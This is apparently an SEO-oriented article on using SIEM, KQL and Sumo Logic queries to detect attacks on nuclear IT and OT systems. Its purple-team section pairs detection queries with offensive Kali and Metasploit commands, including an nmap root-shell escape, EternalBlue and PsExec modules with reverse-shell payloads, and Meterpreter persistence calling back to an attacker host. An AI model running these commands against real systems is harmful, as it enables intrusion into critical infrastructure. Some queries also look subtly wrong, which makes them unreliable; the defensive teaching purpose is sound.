Detecting Pentests in Nuclear Infrastructure: Harnessing SIEM, KQL, and Sumo Logic Queries for Advanced Cyber Defence
In the high-stakes world of nuclear infrastructure, defending against advanced cyber threats demands more than just passive monitoring. This article focuses on how SIEM systems, together with Kusto Query Language (KQL) and Sumo Logic queries, are applied to detect and combat sophisticated pentesting efforts. Covering technical, real-world scenarios like privilege escalation, network discovery, lateral movement, and persistence, this guide delivers practical insights into how these tools serve as the foundation of a purple teaming approach. By integrating offensive pentesting techniques with robust defensive responses, we explore how to establish effective, real-time protection for both IT and Operational Technology (OT) systems in nuclear environments.
What else?
Strengthening Nuclear Infrastructure: How SIEM, Pentesting, Incident Response, and Automation Protect Critical Operations
“This article explores how nuclear infrastructure can be protected through a combination of cutting-edge SIEM solutions, advanced pentesting techniques, and swift incident response measures. By integrating automated tools with real-time monitoring, both IT and OT systems in critical environments like nuclear facilities are safeguarded against evolving cyber threats. Through practical examples of privilege escalation detection, network scanning, lateral movement, and remote code execution, we demonstrate how a purple teaming approach — collaborating between offensive and defensive security teams — provides comprehensive protection. This balance of proactive threat hunting and robust defensive strategies ensures the continuous security of sensitive nuclear operations”.
Overview Summary
In the ever-evolving landscape of cyber threats, nuclear infrastructure presents one of the most critical challenges to national security. For institutions like AWE (Atomic Weapons Establishment) etc, which play a vital role in maintaining the UK’s nuclear deterrent, cybersecurity is not just a priority; it’s a necessity. Securing such infrastructure goes beyond traditional IT systems and requires specialised solutions to protect both Operational Technology (OT) platforms and Information Security systems that control nuclear processes.
Understanding the Critical Nature of Nuclear Infrastructure
Nuclear facilities represent a unique challenge in the world of cybersecurity. These facilities control everything from weapon systems to power management and radiation monitoring. They rely heavily on OT systems, which differ significantly from traditional IT networks. OT systems are designed to interact directly with physical processes, such as controlling machinery, managing environmental conditions, and maintaining safety protocols. This means that any compromise to an OT system could lead to significant physical consequences, including operational failure or worse, a potential breach of safety in nuclear operations.
In these environments, ensuring information security is paramount, particularly when protecting the software platforms that manage critical nuclear processes. A single vulnerability in these systems could expose critical data or provide a gateway for malicious actors to infiltrate and disrupt operations.
SIEM: The Heart of Nuclear Cybersecurity
At the centre of cybersecurity for nuclear systems are Security Information and Event Management (SIEM) solutions. These platforms play a crucial role in monitoring and analysing security events across both IT and OT systems. A well-deployed SIEM system allows security teams to detect, respond to, and mitigate threats in real-time, providing a centralised view of the facility’s security posture.
Automated SIEM solutions have become integral to managing the vast amounts of data generated by nuclear facilities. With thousands of sensors, devices, and control systems feeding data into the network, human analysts simply cannot keep up with the influx of information. Automation allows the SIEM to filter, categorise, and prioritise potential threats, ensuring that the most critical incidents are dealt with swiftly.
For example, in a nuclear environment, SIEM systems monitor both OT and IT infrastructure, including control systems that regulate reactor coolant levels or radiation detection systems. Should a sensor detect abnormal activity — such as unexpected fluctuations in coolant levels — this information is immediately flagged by the SIEM. Automated processes ensure that security analysts are alerted to the issue, allowing for rapid investigation and response.
Automating Incident Detection and Response
Automation within SIEM platforms not only enhances monitoring but also plays a key role in incident detection and response. Automated threat detection allows the system to spot unusual behaviour patterns that might signal a cyberattack. These anomalies are instantly flagged for further investigation, allowing the security team to respond quickly before the threat escalates.
In the context of nuclear systems, automation is particularly beneficial for detecting threats that could arise within OT environments. For instance, OT platforms often rely on real-time operational data. An automated SIEM solution can continuously monitor this data for signs of tampering or anomalies, such as unauthorised changes to system settings or control parameters. If the system detects any such activities, it can initiate a series of automated actions to contain the issue, such as isolating affected devices or blocking suspicious IP addresses.
Automating the initial stages of incident response ensures that attacks can be neutralised more rapidly, limiting the potential damage they could cause. Additionally, automated processes can assist in restoring system integrity by triggering predefined protocols that ensure safe shutdown or restart procedures for critical OT systems. This is particularly crucial in nuclear facilities, where safety is of the utmost importance.
Protecting OT Systems in Nuclear Environments
Operational Technology (OT) platforms in nuclear facilities manage the critical operations that keep the facility running smoothly, including radiation detection, environmental monitoring, and reactor management. These systems, while essential, often run on legacy software that was not originally designed with today’s cybersecurity threats in mind.
SIEM solutions in nuclear facilities need to account for these legacy OT systems, providing a bridge between modern cybersecurity standards and older infrastructure. One of the challenges here is ensuring that SIEM platforms can monitor these systems without interfering with their operation. OT systems are often sensitive to latency and downtime, so SIEM tools must be carefully calibrated to ensure that security monitoring does not interrupt critical processes.
Moreover, OT systems in nuclear environments typically operate 24/7, meaning that downtime for updates or patches can be difficult to schedule. In these cases, SIEM solutions provide real-time monitoring and detection, alerting teams to potential vulnerabilities before they are exploited. This ensures that critical updates and patches can be applied during scheduled maintenance windows without leaving the system exposed in the interim.
Additionally, SIEM platforms often integrate with Intrusion Detection Systems (IDS) that are specifically designed for OT environments. These systems are tailored to detect anomalies within OT processes, such as unauthorised changes to control systems or irregular sensor readings. When paired with SIEM, IDS tools provide an additional layer of protection by focusing on the unique behaviours and threats associated with OT platforms.
The Role of Information Security in Nuclear Systems
Information security is a cornerstone of protecting nuclear systems, and SIEM platforms are a key tool in safeguarding the confidentiality, integrity, and availability of critical data. Information Security Management Systems (ISMS) ensure that the flow of data within and outside of the nuclear facility is tightly controlled and monitored. SIEM solutions help enforce these controls by tracking data access, monitoring user activities, and identifying unauthorised attempts to access sensitive information.
For instance, access to critical data within nuclear systems is typically governed by strict role-based access control (RBAC) policies. SIEM solutions ensure compliance with these policies by logging all access attempts, flagging any attempts to bypass the system’s security protocols. Automated alerts notify security teams of suspicious activities, such as an unauthorised individual attempting to access sensitive system controls, enabling them to take swift action.
In some cases, SIEM platforms may also integrate with data loss prevention (DLP) tools to further safeguard sensitive information. These tools help prevent the unauthorised transfer of sensitive data by monitoring network traffic and identifying potential leaks or breaches.
Ensuring Regulatory Compliance
Nuclear facilities are subject to stringent regulations concerning the protection of their systems and data. SIEM platforms play an essential role in ensuring that these facilities remain compliant with both national and international standards for cybersecurity. This includes standards such as ISO/IEC 27001 and IEC 62443, which outline the best practices for managing information security and protecting critical infrastructure.
SIEM solutions help nuclear facilities meet compliance requirements by providing detailed logs and audit trails of security events, access controls, and incident responses. These logs are invaluable during audits, demonstrating that the facility has taken appropriate measures to safeguard its systems and data.
Moreover, the real-time monitoring and automation provided by SIEM solutions ensure that the facility remains in compliance on an ongoing basis, reducing the risk of falling behind on regulatory requirements.
Future Developments: AI-Driven SIEM in Nuclear Facilities
Looking ahead, nuclear facilities are increasingly exploring the use of Artificial Intelligence (AI) and Machine Learning (ML) to enhance their SIEM capabilities. These technologies offer the potential to significantly improve threat detection and response by identifying patterns and anomalies that human analysts might miss.
For example, AI-driven SIEM platforms can learn from past incidents, continuously improving their detection algorithms to become more effective over time. These systems can also provide predictive analytics, identifying emerging threats before they become critical issues.
In nuclear environments, where the stakes are particularly high, AI-driven automation has the potential to transform the way facilities manage cybersecurity, providing faster, more accurate detection and response capabilities.
Summary
As nuclear facilities become increasingly reliant on digital infrastructure, the importance of advanced SIEM solutions cannot be overstated. These systems play a crucial role in protecting both IT and OT platforms, ensuring that critical processes remain secure from cyber threats. With the integration of automated monitoring, incident response, and real-time detection, SIEM platforms provide the foundation for safeguarding the information and operational security of nuclear systems. As AI and ML continue to advance, the future of nuclear cybersecurity looks promising, with even greater capabilities for defending against ever-evolving cyber threats.
Academic Contributions to Cybersecurity in Nuclear Operational Technology
Beyond industry efforts, universities such as the University of Warwick and the University of Oxford have significantly contributed to improving cybersecurity in Operational Technology (OT) systems, particularly those within nuclear infrastructure. Their research and innovations have laid the groundwork for developing more advanced and secure systems that are vital to protecting the nation’s most sensitive assets.
University of Warwick: Research into OT System Security
The University of Warwick has long been at the forefront of engineering research, particularly in cyber-physical systems and their applications in critical infrastructure like nuclear facilities. The university’s researchers have explored SIEM integration with OT systems, helping to develop strategies that allow seamless monitoring of industrial control systems without disrupting real-time processes.
One of Warwick’s key contributions is in developing automated detection methods that cater specifically to OT environments. Through the Warwick Manufacturing Group (WMG), the university has been involved in creating anomaly detection algorithms tailored for industrial systems that are responsible for monitoring and controlling nuclear processes. These algorithms can quickly identify deviations in system behaviour that may indicate a cyber threat. Unlike traditional IT systems, OT systems have low tolerance for downtime, making these automated detection tools critical to maintaining constant operations.
Warwick has also conducted research on resilience in legacy OT systems. This is especially important for nuclear facilities, where older systems often coexist with more modern technology. Warwick’s work has provided essential insights into how these legacy systems can be incorporated into modern security frameworks without risking operational efficiency. Their work has laid the groundwork for deploying automated security solutions in environments where traditional updates and patches are difficult to implement without halting operations.
University of Oxford: Securing Industrial Control Systems (ICS) in Nuclear Facilities
The University of Oxford has made significant contributions to the field of cybersecurity in Industrial Control Systems (ICS), which are essential for running nuclear infrastructure. Oxford’s research has focused on identifying vulnerabilities within ICS networks, developing methodologies to protect these systems from cyberattacks, and ensuring that SIEM solutions can effectively monitor and respond to threats in these environments.
One of Oxford’s key areas of research is on real-time threat detection for ICS environments, which is crucial for nuclear facilities where any disruption can have serious consequences. Through simulated environments, Oxford has helped develop and refine SIEM systems that can monitor ICS processes, detect anomalies, and respond to potential attacks without interrupting critical operations.
Additionally, Oxford’s research into machine learning applications in ICS security has been groundbreaking. By applying machine learning algorithms to ICS monitoring tools, Oxford has improved the ability of SIEM systems to detect previously unknown vulnerabilities and anticipate emerging threats. Their research has also led to improvements in automated incident response, ensuring that OT systems within nuclear facilities can swiftly contain and mitigate any cyber intrusions.
Oxford researchers have worked closely with nuclear facilities to ensure their systems meet the stringent requirements laid out in standards like IEC 62443, which addresses cybersecurity in industrial automation and control systems. Their collaborative approach with nuclear organisations has been crucial in refining the application of SIEM systems to detect, analyse, and neutralise threats in a highly sensitive environment like that of nuclear energy and weapons facilities.
Conclusion: Collaborative Efforts for Securing Nuclear OT Systems
The collaboration between academia and industry is critical in addressing the complex cybersecurity challenges faced by nuclear facilities. Universities such as Warwick and Oxford are driving forward the research that helps protect Operational Technology (OT) and Industrial Control Systems (ICS) from modern cyber threats. Their contributions have significantly improved the implementation of SIEM solutions in nuclear environments, ensuring that critical systems remain secure while also allowing for continuous operation.
As nuclear facilities continue to evolve and adopt more sophisticated digital infrastructure, the ongoing collaboration with academic institutions will remain pivotal in developing the next generation of cybersecurity solutions that protect these vital assets from an increasingly hostile digital landscape.
In this section, we’ll explore how SIEM solutions use Kusto Query Language (KQL), commonly utilised in platforms like Azure Sentinel, and similar query languages found in solutions like Sumo Logic, to detect and respond to advanced threats in environments such as nuclear infrastructure. Drawing parallels from the previous article on mastering Sumo Logic, this guide will decode some of the key commands and query structures, showing how they apply in real-world use cases, particularly in Operational Technology (OT) and nuclear cybersecurity.
The Importance of Querying in SIEM for Nuclear Security
When managing sensitive infrastructure like nuclear facilities, effective use of SIEM tools is critical in detecting and mitigating cyber threats in real time. Whether it’s detecting anomalies in Industrial Control Systems (ICS) or identifying suspicious activities within OT networks, structured queries are the backbone of monitoring, investigating, and securing these environments.
Let’s break down some KQL and Sumo Logic queries that can help in such scenarios, focusing on their structure and how they can be tailored for advanced threat detection.
1. Querying Suspicious Logins and Privileged Access Attempts
Monitoring login activity is crucial, especially in nuclear OT systems where only a few authorised users should have access to critical functions. Querying unusual login attempts, failed authentications, or anomalous behaviour by privileged users can help detect compromised accounts or insider threats.
KQL Query Example for identifying suspicious login attempts:
SigninLogs
| where ResultType == "50126" // Failed login attempts
| where TimeGenerated >= ago(1d) // Logs from the last day
| summarize FailedAttempts = count() by UserPrincipalName
| where FailedAttempts > 5 // Threshold for suspicious activityThis query retrieves login failures from the last day, summarises the number of failed attempts by user, and flags accounts that exceed the threshold of five failed logins. This is useful in detecting brute force attempts or potential compromised accounts in systems that protect sensitive nuclear operations.
Sumo Logic Example:
_sourceCategory=auth_logs "authentication failure"
| parse "*failed for user *" as user
| where _timeslice >= now() - 1d
| count by user
| where count > 5This query retrieves authentication failures from the last 24 hours, grouping them by user, and flags users with more than five failed attempts.
2. Monitoring OT and ICS Anomalies
In nuclear facilities, ICS and OT systems control everything from reactor cooling to radiation detection. Any anomaly in these systems could signify a potential cyber-physical attack. Queries can be used to detect unexpected changes in ICS behaviour, such as deviations in operational parameters.
KQL Query Example for detecting anomalies in OT sensor data:
DeviceTelemetry
| where TimeGenerated >= ago(12h)
| where SensorValue > 90 or SensorValue < 10 // Critical thresholds
| summarize AnomalyCount = count() by DeviceID, bin(TimeGenerated, 1h)
| where AnomalyCount > 3 // Multiple anomalies in a short periodThis query monitors telemetry from OT devices over the past 12 hours and flags devices where sensor readings fall outside normal operating ranges (e.g., temperature or pressure sensors). When anomalies occur multiple times within a short window, they could indicate an attempt to disrupt normal operations.
Sumo Logic Example:
_sourceCategory=device_data "sensor reading"
| parse "* value *"
| where value < 10 or value > 90
| timeslice by 1h
| count by device_id
| where count > 3In this Sumo Logic example, sensor readings that exceed the defined thresholds are flagged, and any device that reports multiple anomalies within an hour is highlighted for further investigation.
3. Unauthorised Changes to OT Systems
Detecting unauthorised changes to critical OT systems is crucial. Such changes may include modifications to safety protocols or configurations, which could be the result of a cyberattack. Queries can be designed to look for unexpected alterations in system logs.
KQL Query Example for detecting configuration changes:
ConfigurationChangeLogs
| where TimeGenerated >= ago(1d)
| where ActionType == "Modify"
| summarize ChangeCount = count() by User, Resource
| where ChangeCount > 1 // Multiple changes to critical resourcesThis query focuses on modification events logged in the past 24 hours, flagging users who have made multiple changes to critical OT resources like safety systems or control mechanisms. This could indicate malicious intent or unauthorised access.
Sumo Logic Example:
_sourceCategory=config_change_logs "Modify"
| parse "*modified by user*"
| where _timeslice >= now() - 1d
| count by user, resource
| where count > 1This Sumo Logic query tracks configuration changes made by users and highlights any users making multiple changes in a short period, signalling possible misuse of privileged access.
4. Detecting Lateral Movement in OT and IT Networks
Lateral movement is a technique used by adversaries to navigate through networks to access sensitive systems. Detecting such activity early can prevent an attacker from reaching high-value assets, such as control systems in a nuclear facility.
KQL Query Example for tracking lateral movement:
SecurityEvent
| where TimeGenerated >= ago(1d)
| where EventID == 4624 // Successful logon
| where LogonType == 3 // Network logon
| summarize LogonCount = count() by AccountName, Computer, bin(TimeGenerated, 1h)
| where LogonCount > 5This query looks for successful network logons over the last day, summarising by account and system. Multiple network logons in a short time can indicate lateral movement, especially if occurring on different systems.
Sumo Logic Example:
_sourceCategory=network_auth_logs "successful logon"
| parse "*logged in to*"
| where logon_type = "network"
| timeslice by 1h
| count by user, host
| where count > 5This query identifies network logons and flags users logging into multiple hosts within an hour, potentially indicating lateral movement across the network.
5. Detection of Abnormal System Resource Usage
Unusual resource usage on OT or IT systems can signal a cyberattack, such as malware execution or denial-of-service attempts. Querying for resource spikes can help identify these issues before they escalate.
KQL Query Example for resource monitoring:
Perf
| where TimeGenerated >= ago(6h)
| where CounterName == "% Processor Time"
| where CounterValue > 80 // High CPU usage
| summarize AvgCPU = avg(CounterValue) by Computer, bin(TimeGenerated, 15m)
| where AvgCPU > 80This query monitors CPU usage over the past six hours, identifying systems where average CPU usage exceeds 80% for a sustained period, potentially indicating resource hijacking or a denial-of-service attack.
Sumo Logic Example:
_sourceCategory=system_perf_logs "CPU usage"
| parse "*CPU*"
| where _timeslice >= now() - 6h
| avg(value) by host, timeslice
| where avg > 80This query identifies systems where CPU usage is unusually high, potentially signalling malicious activity such as ransomware or botnets.
Mini-Conclusion
Utilising SIEM solutions effectively for advanced threat detection in critical infrastructures like nuclear facilities requires a solid understanding of query languages like KQL and the equivalent commands in platforms like Sumo Logic. Whether it’s monitoring OT systems, detecting lateral movement, or tracking unauthorised access attempts, these queries form the backbone of proactive cybersecurity. With carefully structured queries, security teams can respond to threats faster and ensure the continued security of sensitive nuclear environments.
By adapting queries to detect real-time anomalies, monitoring configuration changes, and analysing OT-specific telemetry, SIEM systems offer comprehensive security that can detect even the most sophisticated cyber threats.
In this section, we’ll delve into how SIEM solutions and penetration testing (pentesting) can work in tandem, creating an effective purple teaming environment for detecting, exploiting, and mitigating vulnerabilities in nuclear infrastructure, or any other critical systems. Using Kali Linux for pentesting in combination with SIEM solutions to monitor and defend in real-time, security teams can both simulate and detect sophisticated attacks, ensuring a more robust defensive posture.
By bridging the gap between red team (offensive/pentesting) and blue team (defensive/SIEM) activities, purple teaming enhances an organisation’s security by allowing both sides to collaborate, sharing knowledge about attack techniques and defensive measures. Below are some real-world examples of complex attacks, showcasing the pentesting commands on Kali Linux alongside SIEM queries that can detect these attacks in real-time.
1. Exploiting and Detecting Privilege Escalation
Privilege escalation is one of the most common post-exploitation techniques, where attackers attempt to elevate their access from a regular user to an administrator or root account. In a nuclear or critical infrastructure environment, gaining administrative access could allow an attacker to manipulate or control sensitive OT systems.
Kali Linux Pentesting Command for Privilege Escalation
In this scenario, assume we have access to a Linux machine. One common method to escalate privileges is through exploiting SUID binaries. The following command finds binaries with the SUID bit set, which can sometimes be exploited for privilege escalation.
find / -perm -4000 -type f 2>/dev/nullThis command lists files with the SUID bit set. After identifying a vulnerable binary, you could exploit it (depending on the vulnerability).
For example, if you find the nmap binary with SUID set, it can be exploited to escalate privileges using the interactive mode:
nmap --interactive
!sh # This drops the user into a root shellSIEM Query for Privilege Escalation Detection
Once an attacker exploits privilege escalation, they will typically try to perform actions with root privileges. A well-configured SIEM can detect the sudden use of high-privilege commands that indicate escalation.
KQL Query Example
SecurityEvent
| where EventID == 4688 // Process creation event in Windows
| where ElevatedToken == "True"
| summarize EscalatedActions = count() by Account, ProcessName
| where EscalatedActions > 5This query monitors for process creation events where an elevated token (indicating administrative privilege) is used multiple times by a user who normally doesn’t have such permissions.
Sumo Logic Example:
_sourceCategory=process_logs "created process"
| parse "*with elevated privileges*"
| where process_token == "elevated"
| count by user, process
| where count > 5This query monitors process creation with elevated privileges, flagging accounts that have executed multiple elevated actions.
2. Scanning and Detecting Network Discovery
Before launching more sophisticated attacks, penetration testers will typically scan the network to map out systems, ports, and services. Using Kali Linux tools like Nmap, an attacker can gather valuable information about the network infrastructure. Meanwhile, SIEM solutions can detect this scanning activity and flag it as suspicious.
Kali Linux Pentesting Command for Network Scanning
nmap -sS -p- -T4 192.168.0.0/24This Nmap command performs a stealth SYN scan (-sS) on all ports (-p-) across the 192.168.0.0/24 subnet, with a timing parameter (-T4) that balances speed and stealth.
SIEM Query for Detecting Network Scanning
SIEM systems can detect the high volume of SYN packets sent to multiple ports, which is a clear indicator of network scanning.
KQL Query Example:
NetworkTraffic
| where TimeGenerated >= ago(1h)
| where Protocol == "TCP"
| where PacketSize > 40 // SYN packets are typically small
| summarize ScanCount = count() by SourceIP, DestinationIP, DestinationPort
| where ScanCount > 50This query tracks TCP SYN packets sent to a large number of destination ports, flagging any source IP that sends more than 50 SYN packets within an hour.
Sumo Logic Example:
_sourceCategory=network_traffic "SYN packet"
| parse "*to port*" as port
| count by src_ip, port
| where count > 50This query detects SYN packets by parsing network traffic logs, counting occurrences from a source IP to multiple ports, flagging potential network scans.
3. Exploiting and Detecting Remote Code Execution (RCE)
Remote Code Execution (RCE) vulnerabilities allow attackers to execute arbitrary commands on a target system. This could result in full system compromise, particularly dangerous in environments where OT systems are in play.
Kali Linux Pentesting Command for RCE
Using Metasploit on Kali Linux, an attacker might exploit a known vulnerability to gain remote access to a machine. For example, using the EternalBlue exploit:
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.0.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.100
exploitThis Metasploit module exploits the EternalBlue vulnerability in Windows SMB, granting a meterpreter shell on the victim machine.
SIEM Query for Detecting Remote Code Execution
Once an attacker exploits RCE, they may execute unusual system commands. SIEM systems can monitor for these kinds of activities by tracking suspicious command executions or unexpected network traffic.
KQL Query Example:
SecurityEvent
| where EventID == 4688 // Process creation event
| where ProcessCommandLine contains "cmd.exe" or ProcessCommandLine contains "powershell.exe"
| summarize RCEActions = count() by AccountName, ProcessCommandLine
| where RCEActions > 2This query tracks process creation events involving command-line interpreters like cmd.exe or PowerShell, which are commonly used during RCE exploits.
Sumo Logic Example:
_sourceCategory=process_creation_logs "cmd.exe" OR "powershell.exe"
| count by user, process
| where count > 2This query identifies the execution of suspicious processes (like cmd.exe or PowerShell) multiple times by the same user, which may indicate RCE activity.
4. Lateral Movement Exploit and Detection
After gaining a foothold on a network, an attacker will often attempt lateral movement to access higher-value systems, such as those controlling nuclear OT systems.
Kali Linux Pentesting Command for Lateral Movement
Using PsExec from Metasploit, attackers can execute commands on remote systems within the same network:
use exploit/windows/smb/psexec
set RHOSTS 192.168.0.10
set SMBUser admin
set SMBPass password123
set PAYLOAD windows/meterpreter/reverse_tcp
exploitThis command leverages PsExec to remotely execute commands on the target machine (192.168.0.10), moving laterally across the network.
SIEM Query for Detecting Lateral Movement
A SIEM can track sudden access to multiple systems by the same user, a key indicator of lateral movement.
KQL Query Example:
SecurityEvent
| where EventID == 4624 // Successful logon
| where LogonType == 3 // Network logon
| summarize LoginAttempts = count() by AccountName, Computer
| where LoginAttempts > 3 // Multiple logons in a short periodThis query tracks network logon events, flagging users who have logged into multiple machines in a short period, indicating lateral movement.
Sumo Logic Example:
_sourceCategory=auth_logs "successful network logon"
| parse "*logged into*"
| count by user, host
| where count > 3This query detects successful network logins and flags users accessing multiple hosts within a short timeframe.
5. Detecting Persistence Mechanisms
Attackers will often establish persistence on a compromised system to maintain access. Monitoring for suspicious changes to startup folders, registry keys, or services can detect these mechanisms.
Kali Linux Pentesting Command for Persistence
Attackers can use Meterpreter to add persistence by modifying system startup scripts or services. For example:
meterpreter > run persistence -U -i 5 -p 4444 -r 192.168.0.100This command sets up a Meterpreter payload to start every time the user logs in, with a callback to the attacker’s machine on port 4444.
SIEM Query for Detecting Persistence
SIEM systems can monitor for changes in startup configurations or scheduled tasks that indicate persistence mechanisms.
KQL Query Example:
Registry
| where RegistryKey contains "Run" or RegistryKey contains "Startup"
| summarize ChangeCount = count() by AccountName, Computer
| where ChangeCount > 1This query monitors changes to Registry keys related to startup processes, which could indicate persistence mechanisms being established.
Sumo Logic Example:
_sourceCategory=registry_logs "Run" OR "Startup"
| count by user, host
| where count > 1This query detects changes to startup scripts or registry keys that might be used to maintain persistence on a compromised system.
Conclusion
By leveraging both Kali Linux for pentesting and SIEM solutions for real-time detection and monitoring, organisations can create a powerful purple teaming environment that enables the detection, exploitation, and mitigation of vulnerabilities in critical infrastructures. Combining red team offensive techniques with blue team defensive monitoring creates a more resilient security posture, ensuring that even the most sophisticated attacks can be detected and neutralised effectively.
SEO Keywords:
- Nuclear Infrastructure Cybersecurity
- SIEM Threat Detection
- KQL Query for Pentesting
- Sumo Logic in Cyber Defence
- IT and OT Security in Critical Systems
- Detecting Privilege Escalation in Nuclear Systems
- Purple Teaming in Cybersecurity
- Lateral Movement Detection in SIEM
- Real-Time Threat Monitoring for OT
- Automated Incident Response in Nuclear Facilities
SEO Optimisation List:
- Nuclear cybersecurity solutions with SIEM — Optimising threat detection in nuclear operations.
- Advanced KQL queries for detecting pentesting activities — Real-time insights for cyber defence.
- Sumo Logic query examples for IT and OT protection — Ensuring security in nuclear infrastructure.
- Privilege escalation detection in nuclear systems — Monitoring critical actions with SIEM tools.
- Purple teaming in nuclear cybersecurity — Integrating offensive and defensive techniques.
- Detecting network reconnaissance with SIEM solutions — Identifying malicious network discovery attempts.
- Securing OT systems in nuclear environments — Real-time monitoring and incident response.
- Kusto Query Language for advanced cyber threat detection — Tailored SIEM strategies for critical operations.
- Automation in SIEM for nuclear facility protection — Improving response time to critical threats.
- Lateral movement detection in nuclear IT and OT systems — Strengthening defence against internal threats.
